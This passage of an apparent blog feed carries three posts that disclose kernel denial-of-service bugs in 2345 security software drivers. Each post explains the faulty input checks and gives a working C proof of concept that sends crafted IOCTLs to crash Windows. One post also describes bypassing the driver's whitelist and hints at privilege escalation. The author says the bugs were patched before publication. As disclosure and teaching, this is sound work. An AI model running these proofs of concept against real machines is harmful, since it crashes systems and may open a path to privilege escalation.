title="参考资料"></a>参考资料</h2><ol> <li><a href="https://docs.python.org/2/library/dis.html">python dis官方文档</a></li> <li><a href="https://www.google.com/search?newwindow=1&amp;client=firefox-b-ab&amp;biw=1920&amp;bih=938&amp;ei=GUSGW4OeEor6wAOt8ZyQCw&amp;q=python+%E2%80%9CROT_THREE%E2%80%9D&amp;oq=python+%E2%80%9CROT_THREE%E2%80%9D&amp;gs_l=psy-ab.3..0i71k1l8.737846.738207.0.738259.3.3.0.0.0.0.0.0..0.0....0...1c.1.64.psy-ab..3.0.0....0.PcHujQY7ZAE">google搜索dis指令</a></li> <li><a href="https://github.com/vstinner/bytecode">https://github.com/vstinner/bytecode</a></li> <li><a href="https://blog.hakril.net/articles/2-understanding-python-execution-tracer.html">https://blog.hakril.net/articles/2-understanding-python-execution-tracer.html</a></li> <li><a href="https://qingyunha.github.io/taotao/">A Python Interpreter Written in Python</a></li> <li><a href="https://blog.csdn.net/qs9816/article/details/51661659">https://blog.csdn.net/qs9816/article/details/51661659</a></li> <li><a href="https://github.com/Mysterie/uncompyle2">https://github.com/Mysterie/uncompyle2</a></li> </ol> <p>转载请注明出处：<a href="https://anhkgg.github.io/python-bytecode/">https://anhkgg.github.io/python-bytecode/</a></p> ]]></content>          <summary type="html">            &lt;h2 id=&quot;0x1-前言&quot;&gt;&lt;a href=&quot;#0x1-前言&quot; class=&quot;headerlink&quot; title=&quot;0x1.前言&quot;&gt;&lt;/a&gt;0x1.前言&lt;/h2&gt;&lt;blockquote&gt; &lt;p&gt;Python 代码先被编译为字节码后，再由Python虚拟机来执行字节码， Python的字节码是一种类似汇编指令的中间语言， 一个Python语句会对应若干字节码指令，虚拟机一条一条执行字节码指令， 从而完成程序执行。&lt;br&gt;Python dis 模块支持对Python代码进行反汇编， 生成字节码指令。&lt;/p&gt; &lt;/blockquote&gt;          </summary>            <category term="CTF" scheme="https://anhkgg.github.io/categories/CTF/"/>                 <category term="python" scheme="https://anhkgg.github.io/tags/python/"/>            <category term="CTF" scheme="https://anhkgg.github.io/tags/CTF/"/>            <category term="逆向" scheme="https://anhkgg.github.io/tags/%E9%80%86%E5%90%91/"/>        </entry>      <entry>     <title>2345内核拒绝服务漏洞（3） - WORD的锅</title>     <link href="https://anhkgg.github.io/vul-2345-3/"/>     <id>https://anhkgg.github.io/vul-2345-3/</id>     <published>2018-07-13T04:25:33.000Z</published>     <updated>2018-07-13T04:26:58.032Z</updated>          <content type="html"><![CDATA[<h1 id="漏洞概述"><a href="#漏洞概述" class="headerlink" title="漏洞概述"></a>漏洞概述</h1><ul> <li>软件网址：<a href="http://safe.2345.cc/">http://safe.2345.cc/</a></li> <li>版本：v3.7 X64</li> </ul> <p>2345安全软件的驱动2345BdPcSafe.sys在ioctl(0x0022204C)接口处理中，对输入数据校验不严格，精心构造的数据可导致在处理过程中内存拷贝时溢出，然后bsod拒绝服务，甚至可内核提权。</p> <a id="more"></a> <h1 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h1><p>在<code>IRP_MJ_DEVICE_CONTROL</code>处理函数中，对<code>0x22204C</code>接口进行处理时，有一段拷贝字符串的操作如下所示：</p> <p><img src="http://wx2.sinaimg.cn/mw690/006mu4nKly1ft5604o35nj30jn04k0so.jpg" alt="img"></p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">struct _ioctl_buf</span><br><span class="line">&#123;</span><br><span class="line">  WORD len;</span><br><span class="line">  WORD len_;</span><br><span class="line">  DWORD unk2;</span><br><span class="line">  _ioctl_buf_str *ptr;</span><br><span class="line">&#125;;</span><br><span class="line">struct _ioctl_buf_str</span><br><span class="line">&#123;</span><br><span class="line">  wchar_t buf[1];</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure> <p><code>a2</code>是一个<code>_ioctl_buf</code>结构（由应用层输入构造而成），<code>len2</code>是输入的另一个字符串的长度，通过<code>a2-&gt;len</code>（2字节）和<code>len2</code>（2字节）计算得到<code>len1</code>，关键在于<code>len1</code>是也一个<code>WORD</code>变量，只有2字节，所以当<code>a2-&gt;len+len2</code>的大小超过<code>WORD</code>溢出之后，会被截断成<code>WORD</code>，截断后的值赋给<code>len1</code>，此时就可能导致<code>len1</code>的值反而小于<code>a2-&gt;len</code>。比如：</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">0xa3d0 + 0xb4f0 &#x3D; 0x158C0 &#x3D;&gt;截断&#x3D;&gt; 0x58C0</span><br><span class="line">0x58C0 &lt; 0xa3d0</span><br></pre></td></tr></table></figure> <p>接着根据<code>len1</code>分配内存<code>p</code>，<code>memmove</code>拷贝<code>a2-&gt;ptr</code>内容到<code>p</code>中，长度按<code>a2-&gt;len</code>，问题就来了，<code>a2-len</code>大于<code>len1</code>时，就会导致拷贝溢出，<code>bsod</code>（写溢出，可控制内容，可以做更多的利用了，这里我不擅长了）。</p> <p>好了，漏洞成因这里就分析完了。</p> <p>下面看一下<code>poc</code>：</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br></pre></td><td class="code"><pre><span class="line">int poc()</span><br><span class="line">&#123;</span><br><span class="line"> </span><br><span class="line"> DWORD BytesReturned &#x3D; 0;</span><br><span class="line"></span><br><span class="line"> HANDLE h &#x3D; OpenDevice(&quot;\\\\.\\2345BdPcSafe&quot;);</span><br><span class="line"> if (h &#x3D;&#x3D; INVALID_HANDLE_VALUE) &#123;</span><br><span class="line">  return 1;</span><br><span class="line"> &#125;</span><br><span class="line">    &#x2F;&#x2F;过白名单检查</span><br><span class="line"> if (!BypassChk(h)) &#123;</span><br><span class="line">  return 1;</span><br><span class="line"> &#125;</span><br><span class="line"> </span><br><span class="line">&#x2F;&#x2F;BSOD</span><br><span class="line"> DWORD ctlcode &#x3D; 0x22204C;</span><br><span class="line">#pragma pack(push, 1)</span><br><span class="line"> struct _ioctl_buf_in</span><br><span class="line"> &#123;</span><br><span class="line">  DWORD unk1;</span><br><span class="line">  DWORD unk2;&#x2F;&#x2F;4</span><br><span class="line">  DWORD offset1;&#x2F;&#x2F;8 &#x3D;0x18</span><br><span class="line">  DWORD offset2;&#x2F;&#x2F;c &#x3D;A3E8</span><br><span class="line">  DWORD offset3;&#x2F;&#x2F;10</span><br><span class="line">  DWORD unk3;&#x2F;&#x2F;14</span><br><span class="line">  char buf1[0xa3d0];&#x2F;&#x2F;18</span><br><span class="line">  char buf2[0xb4f0];&#x2F;&#x2F;18+a3d0 </span><br><span class="line"> &#125;; &#x2F;&#x2F;0x158D8</span><br><span class="line">#pragma pack(pop)</span><br><span class="line"></span><br><span class="line"> _ioctl_buf_in buff &#x3D; &#123; 0 &#125;;</span><br><span class="line"> buff.unk1 &#x3D; 4;</span><br><span class="line"> buff.unk3 &#x3D; 4;</span><br><span class="line"> buff.offset1 &#x3D; 0x18;</span><br><span class="line"> buff.offset2 &#x3D; (char*)&amp;buff.buf2 - (char*)&amp;buff;</span><br><span class="line"> buff.offset3 &#x3D; 0;</span><br><span class="line"> memset(buff.buf1, 0x41, 0xa3d0);</span><br><span class="line"> memset(buff.buf2, 0x41, 0xb4f0);</span><br><span class="line"></span><br><span class="line"> if(!DeviceIoControl(h, ctlcode, &amp;buff, sizeof(_ioctl_buf_in), &amp;buff, 0, &amp;BytesReturned, NULL)) &#123;</span><br><span class="line">  printf(&quot;[-] DeviceIoControl %x error: %d\n&quot;, ctlcode, GetLastError());</span><br><span class="line"> &#125;</span><br><span class="line"> return 0;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure> <p>其中<code>buff.buf1</code>和<code>buff.buf2</code>的长度<code>0xa3d0 + 0xb4f0 = 0x158c0</code>（截断）就是<code>a2-&gt;len</code>(<code>0x58c0</code>)，<code>buff.buf2</code>的长度<code>b4f0</code>就是<code>len2</code>。</p> <p>我们在调试中看一下计算结果，可以清晰看到<code>len1=0xdb2 &lt; 0x58c0(a2-&gt;len)</code>。</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line">0: kd&gt; p</span><br><span class="line">2345BdPcSafe+0x561c:</span><br><span class="line">fffff880&#96;0540561c 660307          add     ax,word ptr [rdi]</span><br><span class="line">0: kd&gt; r rdi</span><br><span class="line">rdi&#x3D;fffffa8026539658</span><br><span class="line">0: kd&gt; dw fffffa8026539658 l1</span><br><span class="line">fffffa80&#96;26539658  58c0</span><br><span class="line">&#x2F;&#x2F;a2-&gt;len &#x3D; 0x58c0</span><br><span class="line">0: kd&gt; p</span><br><span class="line">2345BdPcSafe+0x561f:</span><br><span class="line">fffff880&#96;0540561f 664103c1        add     ax,r9w</span><br><span class="line">0: kd&gt; r rax</span><br><span class="line">rax&#x3D;00000000000058c2</span><br><span class="line">&#x2F;&#x2F;len2 &#x3D; 0xb4f0</span><br><span class="line">0: kd&gt; r r9</span><br><span class="line">r9&#x3D;000000000000b4f0</span><br><span class="line">0: kd&gt; p</span><br><span class="line">2345BdPcSafe+0x5623:</span><br><span class="line">fffff880&#96;05405623 0fb7d0          movzx   edx,ax</span><br><span class="line">0: kd&gt; r rax</span><br><span class="line">rax&#x3D;0000000000000db2</span><br><span class="line">&#x2F;&#x2F;len1 &#x3D; 0xdb2</span><br><span class="line">0: kd&gt; p</span><br><span class="line">2345BdPcSafe+0x562a:</span><br><span class="line">fffff880&#96;0540562a ff15b80e0300    call    qword ptr [2345BdPcSafe+0x364e8 (fffff880&#96;054364e8)]</span><br><span class="line">0: kd&gt; dq fffff880&#96;054364e8 l1</span><br><span class="line">fffff880&#96;054364e8  fffff800&#96;03ff70e0</span><br><span class="line">0: kd&gt; u fffff800&#96;03ff70e0</span><br><span class="line">nt!ExAllocatePoolWithTag:</span><br><span class="line">fffff800&#96;03ff70e0 fff5            push    rbp</span><br><span class="line">0: kd&gt; r rcx;r rdx;r r8</span><br><span class="line">rcx&#x3D;0000000000000001</span><br><span class="line">rdx&#x3D;0000000000000db2</span><br><span class="line">r8&#x3D;0000000035343332</span><br><span class="line">&#x2F;&#x2F;参数：p &#x3D; ExAllocatePoolWithTag(1, 0xdb2, 0x35343332);</span><br></pre></td></tr></table></figure> <h1 id="结语"><a href="#结语" class="headerlink" title="结语"></a>结语</h1><p>这个漏洞主要是对输入参数结构体的长度字段校验不够严谨，导致变量溢出截断出现意外的大小结果导致了漏洞的产生。</p> <p>该系列后续会继续分析其他原因引起的漏洞，如有兴趣，敬请期待！</p> <p>转载请注明出处：<a href="https://anhkgg.github.io/vul-2345-3/">https://anhkgg.github.io/vul-2345-3/</a></p> ]]></content>          <summary type="html">            &lt;h1 id=&quot;漏洞概述&quot;&gt;&lt;a href=&quot;#漏洞概述&quot; class=&quot;headerlink&quot; title=&quot;漏洞概述&quot;&gt;&lt;/a&gt;漏洞概述&lt;/h1&gt;&lt;ul&gt; &lt;li&gt;软件网址：&lt;a href=&quot;http://safe.2345.cc/&quot;&gt;http://safe.2345.cc/&lt;/a&gt;&lt;/li&gt; &lt;li&gt;版本：v3.7 X64&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;2345安全软件的驱动2345BdPcSafe.sys在ioctl(0x0022204C)接口处理中，对输入数据校验不严格，精心构造的数据可导致在处理过程中内存拷贝时溢出，然后bsod拒绝服务，甚至可内核提权。&lt;/p&gt;          </summary>            <category term="vul" scheme="https://anhkgg.github.io/categories/vul/"/>                 <category term="vul" scheme="https://anhkgg.github.io/tags/vul/"/>            <category term="exploit" scheme="https://anhkgg.github.io/tags/exploit/"/>            <category term="fuzz" scheme="https://anhkgg.github.io/tags/fuzz/"/>        </entry>      <entry>     <title>2345内核拒绝服务漏洞（2）</title>     <link href="https://anhkgg.github.io/vul-2345-2/"/>     <id>https://anhkgg.github.io/vul-2345-2/</id>     <published>2018-07-08T03:15:49.000Z</published>     <updated>2018-07-08T03:18:23.919Z</updated>          <content type="html"><![CDATA[<h1 id="漏洞概述"><a href="#漏洞概述" class="headerlink" title="漏洞概述"></a>漏洞概述</h1><ul> <li>软件网址：<a href="http://safe.2345.cc/">http://safe.2345.cc/</a></li> <li>版本：v3.7 X64</li> </ul> <p>2345安全软件的驱动2345BdPcSafe.sys在ioctl(0x002220E4)接口处理中，对输入数据校验不严格，可构造数据中包含非法地址导致访问违例，然后bsod拒绝服务。</p> <a id="more"></a> <h1 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h1><p>在<code>IRP_MJ_DEVICE_CONTROL</code>处理函数中，对<code>0x2220E4</code>接口进行处理时如下所示：</p> <p><img src="http://wx1.sinaimg.cn/mw690/006mu4nKly1ft28yb8ym6j30mu03p747.jpg" alt="img"></p> <p><code>InputBuf</code>是应用层传入的输入缓存内容，校验<code>InputBuf</code>是否为空，长度是否超过8字节，然后通过<code>MmIsAddressValid</code>验证地址是否合法，合法后通过偏移16访问该内存内容是否等于标记<code>li7p</code>。</p> <p>问题就出在这里，<code>MmIsAddressValid</code>并不能验证一个内存某范围内是否可读可写，仅仅只能验证该地址读写是否会触发一个页错误。</p> <p>所以我们就可以构造一个可通过<code>MmIsAddressValid</code>验证并且地址16偏移不可读的内存作为输入，造成bsod。</p> <p>看下面的poc代码，通过<code>VirtualAlloc</code>分配一个页大小的内存，可读可写，然后计算页地址尾地址-4作为输入缓存的ptr，这样<code>MmIsAddressValid</code>可通过校验，再内核读取ptr+16偏移时地址已经超过该页内存范围，不可访问，导致bsod。</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line">int poc()</span><br><span class="line">&#123;</span><br><span class="line"> </span><br><span class="line"> DWORD BytesReturned &#x3D; 0;</span><br><span class="line"></span><br><span class="line"> HANDLE h &#x3D; OpenDevice(&quot;\\\\.\\2345BdPcSafe&quot;);</span><br><span class="line"> if (h &#x3D;&#x3D; INVALID_HANDLE_VALUE) &#123;</span><br><span class="line">  return 1;</span><br><span class="line"> &#125;</span><br><span class="line">    &#x2F;&#x2F;过白名单检查</span><br><span class="line"> if (!BypassChk(h)) &#123;</span><br><span class="line">  return 1;</span><br><span class="line"> &#125;</span><br><span class="line"> </span><br><span class="line"> &#x2F;&#x2F;BSOD</span><br><span class="line"> DWORD ctlcode &#x3D; 0x2220E4;</span><br><span class="line">#pragma pack(push,1)</span><br><span class="line"> struct _ioctl_buf_in</span><br><span class="line"> &#123;</span><br><span class="line">   __int64 ptr;</span><br><span class="line"> &#125;;</span><br><span class="line">#pragma pack(pop)</span><br><span class="line"> _ioctl_buf_in buff &#x3D; &#123; 0 &#125;;</span><br><span class="line">    </span><br><span class="line">    &#x2F;&#x2F;分配一个页，可读可写，将该页地址尾地址-4作为输入缓存的ptr</span><br><span class="line">    &#x2F;&#x2F;然后读取+16偏移时地址已经越过该页内存范围，不可访问，bsod</span><br><span class="line"> PVOID ptr &#x3D; VirtualAlloc(NULL, 0x1000, MEM_COMMIT, PAGE_READWRITE);</span><br><span class="line"> memset(ptr, 0x41, 0x1000);&#x2F;&#x2F;</span><br><span class="line"> buff.ptr &#x3D; (__int64)ptr + 0x1000 - 0x4;</span><br><span class="line"></span><br><span class="line"> if(!DeviceIoControl(h, ctlcode, &amp;buff, sizeof(_ioctl_buf_in), &amp;buff, sizeof(_ioctl_buf_in), &amp;BytesReturned, NULL)) &#123;</span><br><span class="line">  printf(&quot;[-] DeviceIoControl %x error: %d\n&quot;, ctlcode, GetLastError());</span><br><span class="line"> &#125;</span><br><span class="line"> return 0;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure> <p>看看内存更加清晰，<code>buff</code>地址是<code>003efea0</code>，<code>buff.ptr</code>的值是<code>00030ffc</code>，可以清楚看到<code>00030ffc</code>+16偏移处肯定是不可读的了。</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">0: kd:x86&gt; dd 003efe3c </span><br><span class="line">00000000&#96;003efe3c  003efe68 75db3237 00000030 002220e4</span><br><span class="line">00000000&#96;003efe4c  003efea0 00000008 003efea0 00000008</span><br><span class="line">0: kd:x86&gt; dd 003efea0 </span><br><span class="line">00000000&#96;003efea0  00030ffc 00000000 01234808 003efef8</span><br><span class="line">0: kd:x86&gt; dd 00030ffc </span><br><span class="line">00000000&#96;00030ffc  41414141 ???????? ???????? ????????</span><br><span class="line">00000000&#96;0003100c  ???????? ???????? ???????? ????????</span><br></pre></td></tr></table></figure> <h1 id="结语"><a href="#结语" class="headerlink" title="结语"></a>结语</h1><p>这个漏洞算是前一个的延申，依然是应用层传入内容中包括内存地址，也加入了内存合法性验证代码，但是却没什么用，并没有验证到要访问的内存处的合法性，这个疏漏导致了漏洞的产生。</p> <p>更好的验证内存合法性的函数应该使用<code>ProbeForRead(p, len, x)</code>，可以验证一个范围内内存的合法性，更加严谨，能更好的避免漏洞的产生。</p> <p>稍微总结一下，应用层传入内容结构越复杂，越容易出现问题。这个漏洞出现的位置，本来应该是2345接口协议验证的代码，是为了增加安全性的，却不想成为了安全性问题的原因。</p> <p>该系列后续会继续分析其他原因引起的漏洞，如有兴趣，敬请期待！</p> <p>转载请注明出处：<a href="https://anhkgg.github.io/vul-2345-2/">https://anhkgg.github.io/vul-2345-2/</a></p> <p><strong>参考</strong></p> <ol> <li><a href="https://www.cnblogs.com/Ox9A82/p/5571217.html">如何验证一个地址可否使用—— MmIsAddressValid函数分析</a></li> <li><a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/ntddk/nf-ntddk-mmisaddressvalid">https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/ntddk/nf-ntddk-mmisaddressvalid</a></li> </ol> ]]></content>          <summary type="html">            &lt;h1 id=&quot;漏洞概述&quot;&gt;&lt;a href=&quot;#漏洞概述&quot; class=&quot;headerlink&quot; title=&quot;漏洞概述&quot;&gt;&lt;/a&gt;漏洞概述&lt;/h1&gt;&lt;ul&gt; &lt;li&gt;软件网址：&lt;a href=&quot;http://safe.2345.cc/&quot;&gt;http://safe.2345.cc/&lt;/a&gt;&lt;/li&gt; &lt;li&gt;版本：v3.7 X64&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;2345安全软件的驱动2345BdPcSafe.sys在ioctl(0x002220E4)接口处理中，对输入数据校验不严格，可构造数据中包含非法地址导致访问违例，然后bsod拒绝服务。&lt;/p&gt;          </summary>            <category term="vul" scheme="https://anhkgg.github.io/categories/vul/"/>                 <category term="vul" scheme="https://anhkgg.github.io/tags/vul/"/>            <category term="exploit" scheme="https://anhkgg.github.io/tags/exploit/"/>            <category term="fuzz" scheme="https://anhkgg.github.io/tags/fuzz/"/>        </entry>      <entry>     <title>2345内核拒绝服务漏洞（1）</title>     <link href="https://anhkgg.github.io/vul-2345-1/"/>     <id>https://anhkgg.github.io/vul-2345-1/</id>     <published>2018-07-08T03:15:39.000Z</published>     <updated>2018-07-08T03:17:28.491Z</updated>          <content type="html"><![CDATA[<h1 id="概述"><a href="#概述" class="headerlink" title="概述"></a>概述</h1><p>已经快2个月了吧，已经忘了是什么原因突然搞起了驱动漏洞，反正就是很有兴致地想挖掘一下驱动漏洞。</p> <p>在网上了解了基本的驱动漏洞挖掘方法，主要是通过ioctl接口进行挖掘，已经有很多相关fuzz工具了，比如<a href="https://github.com/N3mes1s/ioctlbf">ioctlbf</a>、<a href="https://github.com/k0keoyo/kDriver-Fuzzer">kDriver-Fuzzer</a>等等。</p> <p>kDriver-Fuzzer的作者k0keoyo在2017年收获了100多个CVE，很牛逼啊，这个已经2018年了，再来挖此种类型的驱动是不是已经晚了啊，心中苦涩啊。</p> <p>不过毕竟也写了几年驱动程序了，不搞搞怎么也说不过去啊，所以开始干！</p> <a id="more"></a> <p>初学者嘛，还是找软柿子捏捏，什么微软、卡巴、小红伞、360、管家先还是别想了，很巧的知道了2345安全软件（此处想笑，毕竟为我贡献了不少…），先啥也不管，IDA一番…</p> <p>很不幸的，没多久2345就被我弄翻了，嗯，听说该公司年代也挺久了，咋这么…</p> <p>经过俩周手工和工具的连番蹂躏，发现2345安全软件驱动共10多个内核拒绝服务漏洞（某些也许可提权），也第一次感受到了拿CVE的感觉（其实怎么感觉都有点waterwater的）…</p> <p>好，前言胡扯差不多就到这里了，本系列将拿2345中几个典型的原因造成的安全漏洞进行一番分析，希望对和我一样的初学者有一定帮助。</p> <p>哦，当然，在连番联系2345客服催促之后，2345终于修复了所有漏洞，所以我才等到这个时候分享文章，分析一些细节应该对他们没什么影响了吧（不过，我可没有所有的都重新验证一遍，申明一下，大家不要拿来干坏事，出事了我概不负责！）</p> <h1 id="漏洞概况"><a href="#漏洞概况" class="headerlink" title="漏洞概况"></a>漏洞概况</h1><ul> <li>软件网址：<a href="http://safe.2345.cc/">http://safe.2345.cc/</a></li> <li>版本：v3.7 X86</li> </ul> <p>2345安全软件的驱动2345NetFirewall.sys在ioctl(0x00222014)接口处理中，对输入数据校验不严格，可构造数据中包含非法地址导致访问违例，然后bsod拒绝服务。</p> <h1 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h1><p>在IRP_MJ_DEVICE_CONTROL处理函数中，对0x222014接口进行处理时如下所示：</p> <p><img src="http://wx2.sinaimg.cn/mw690/006mu4nKly1ft1gtchr61j30cl076jrb.jpg" alt="img"></p> <p><code>InputBuf</code>是应用层传入的输入缓存内容，校验<code>InputBuf</code>是否为空，长度是否超过8字节，然后在<code>memcpy</code>位置直接取<code>InputBuf</code>第一个字段(0偏移)作为目标地址拷贝内容进去，这里未校验第一个字段值作为内存地址的合法性。</p> <p>看到这里是不是有什么邪恶的想法了，把该字段置0，那么<code>memcpy(0, xx, xx)</code>不就bsod了。嗯，有点想多了，2345还是受过一些伤害做过一些自我修复的。</p> <p>看下面，该段代码有异常处理保护，so，0地址bsod不成了（确认该处在3.6版本时被人法克了的，所以补了一下）。</p> <p><img src="http://wx4.sinaimg.cn/mw690/006mu4nKly1ft1h1f0t5yj30jt05274h.jpg" alt="img"></p> <p>既然0不行，那么其他地址还是可以的嘛，比如某些内核地址0x80000000，或者nt!HalDispatchTable（某些提权方式使用的地址）。</p> <p>用下面的poc代码尝试了一下，bsod！</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">ctlcode &#x3D; 0x222014;</span><br><span class="line">NETFW_IOCTL_222014 buf_222014 &#x3D; &#123;0&#125;;</span><br><span class="line">buf_222014.size &#x3D; 1;</span><br><span class="line">buf_222014.ptr &#x3D; (DWORD*)0x80000000; &#x2F;&#x2F;非法内核地址</span><br><span class="line">if(!DeviceIoControl(h, ctlcode, &amp;buf_222014, sizeof(NETFW_IOCTL_222014), &amp;buf_222014, sizeof(NETFW_IOCTL_222014), &amp;BytesReturned, NULL)) &#123;</span><br><span class="line"> printf(&quot;[-] DeviceIoControl %x error: %d\n&quot;, ctlcode, GetLastError());</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">kd&gt; dd 80000000</span><br><span class="line">80000000  ???????? ???????? ???????? ????????</span><br><span class="line">80000010  ???????? ???????? ???????? ????????</span><br></pre></td></tr></table></figure> <p>至此，该内核拒绝服务漏洞验证成功，替换未其他内核地址还是有希望提权的，这里不在深入研究。</p> <h1 id="结语"><a href="#结语" class="headerlink" title="结语"></a>结语</h1><p>看完整篇，其实知道该漏洞真的很明显，很弱B是吧。但是基于某些原因（门槛？漏洞价值？），内核驱动这方面受到的关注较少，所以被虐的少了，开发人员重视程度也不够，所以对于参数的校验上就没那么认真严谨了！所以留下了这种弱X的洞洞被我捡漏。</p> <p>当然，前面提到2345在3.6版本中已经被人干过，所以还是做了一定的工作的，除了加入了异常保护代码，对于ioctl接口调用也加入了一定的限制和校验。所以poc不是直接就调用接口就成功触发bsod的，而做了一定的前期工作来应对2345做的限制和保护。</p> <p><strong>这里不是重点，大致讲一下。在IRP_MJ_DEVICE_CONTROL处理函数中，首先会校验调用接口的进程是否在缓存的白名单进程中，但是呢2345又提供了ioctl接口来添加进程到白名单中，对该接口也没做什么其他的校验，所以很随意的调用成功，把自己的poc进程加入了白名单中，然后再调用漏洞接口触发bsod，完成！</strong></p> <p>另外，如果有兴趣也研究一些驱动此类漏洞的，并且对驱动编程不是很了解的，建议可以先简单学习一下简单驱动编写模板、ring3和ring0通信方式、驱动设备等等内容，推荐可以看看《Windows驱动开发技术详解》相关章节内容。</p> <p>该系列后续会继续分析其他原因引起的漏洞，如有兴趣，敬请期待！</p> <p>转载请注明出处：<a href="https://anhkgg.github.io/vul-2345-1/">https://anhkgg.github.io/vul-2345-1/</a></p> ]]></content>          <summary type="html">            &lt;h1 id=&quot;概述&quot;&gt;&lt;a href=&quot;#概述&quot; class=&quot;headerlink&quot; title=&quot;概述&quot;&gt;&lt;/a&gt;概述&lt;/h1&gt;&lt;p&gt;已经快2个月了吧，已经忘了是什么原因突然搞起了驱动漏洞，反正就是很有兴致地想挖掘一下驱动漏洞。&lt;/p&gt; &lt;p&gt;在网上了解了基本的驱动漏洞挖掘方法，主要是通过ioctl接口进行挖掘，已经有很多相关fuzz工具了，比如&lt;a href=&quot;https://github.com/N3mes1s/ioctlbf&quot;&gt;ioctlbf&lt;/a&gt;、&lt;a href=&quot;https://github.com/k0keoyo/kDriver-Fuzzer&quot;&gt;kDriver-Fuzzer&lt;/a&gt;等等。&lt;/p&gt; &lt;p&gt;kDriver-Fuzzer的作者k0keoyo在2017年收获了100多个CVE，很牛逼啊，这个已经2018年了，再来挖此种类型的驱动是不是已经晚了啊，心中苦涩啊。&lt;/p&gt; &lt;p&gt;不过毕竟也写了几年驱动程序了，不搞搞怎么也说不过去啊，所以开始干！&lt;/p&gt;          </summary>            <category term="vul" scheme="https://anhkgg.github.io/categories/vul/"/>                 <category term="vul" scheme="https://anhkgg.github.io/tags/vul/"/>            <category term="exploit" scheme="https://anhkgg.github.io/tags/exploit/"/>            <category term="fuzz" scheme="https://anhkgg.github.io/tags/fuzz/"/>        </entry>      <entry>     <title>Windbg USB3.0双机调试</title>     <link href="https://anhkgg.github.io/windbg-usb3-dbg-win10/"/>     <id>https://anhkgg.github.io/windbg-usb3-dbg-win10/</id>     <published>2018-03-23T06:31:36.000Z</published>     <updated>2018-03-23T06:55:19.751Z</updated>          <content type="html"><![CDATA[<h1 id="配置需求"><a href="#配置需求" class="headerlink" title="配置需求"></a>配置需求</h1><p>1.目标主机有USB3.0 xHCI主机控制器，支持调试<br>2.host主机支持USB3.0 xHCI主机控制器(使用UsbView查看)<br>3.USB 3.0 调试线(<a 